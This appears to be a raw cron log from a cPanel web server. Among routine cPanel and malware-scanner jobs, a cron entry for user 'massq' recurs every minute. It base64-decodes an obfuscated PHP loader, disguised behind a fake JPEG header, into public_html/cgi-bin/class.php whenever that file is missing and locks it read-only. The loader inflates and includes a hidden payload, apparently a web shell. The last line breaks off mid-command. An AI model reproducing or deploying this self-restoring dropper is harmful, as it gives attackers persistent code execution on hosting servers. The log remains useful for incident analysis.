Sep  2 16:20:01 server CROND[10971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 16:20:01 server CROND[10975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:20:01 server CROND[10972]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:20:01 server CROND[10973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:20:01 server CROND[10977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:20:01 server CROND[10974]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:20:01 server CROND[10976]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:21:01 server CROND[11771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:21:01 server CROND[11772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:21:01 server CROND[11773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:22:01 server CROND[12141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:22:01 server CROND[12142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:22:01 server CROND[12143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:23:01 server CROND[12634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:23:01 server CROND[12635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:23:01 server CROND[12636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:24:01 server CROND[13006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:24:01 server CROND[13007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:24:01 server CROND[13008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:25:01 server CROND[13385]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:25:01 server CROND[13387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:25:01 server CROND[13392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:25:01 server CROND[13393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:25:01 server CROND[13398]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:25:01 server CROND[13396]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 16:25:01 server CROND[13397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:25:01 server CROND[13395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:26:01 server CROND[14225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:26:01 server CROND[14226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:26:01 server CROND[14227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:27:01 server CROND[14603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:27:01 server CROND[14604]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 16:27:01 server CROND[14605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:27:01 server CROND[14606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:28:01 server CROND[15070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:28:01 server CROND[15072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:28:01 server CROND[15073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:29:01 server CROND[15455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:29:01 server CROND[15456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:29:01 server CROND[15457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:30:02 server CROND[15835]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:30:02 server CROND[15837]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:30:02 server CROND[15838]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:30:02 server CROND[15841]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:30:02 server CROND[15843]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 16:30:02 server CROND[15844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:30:02 server CROND[15846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:30:02 server CROND[15845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:30:02 server CROND[15848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:31:01 server CROND[16658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:31:01 server CROND[16659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; 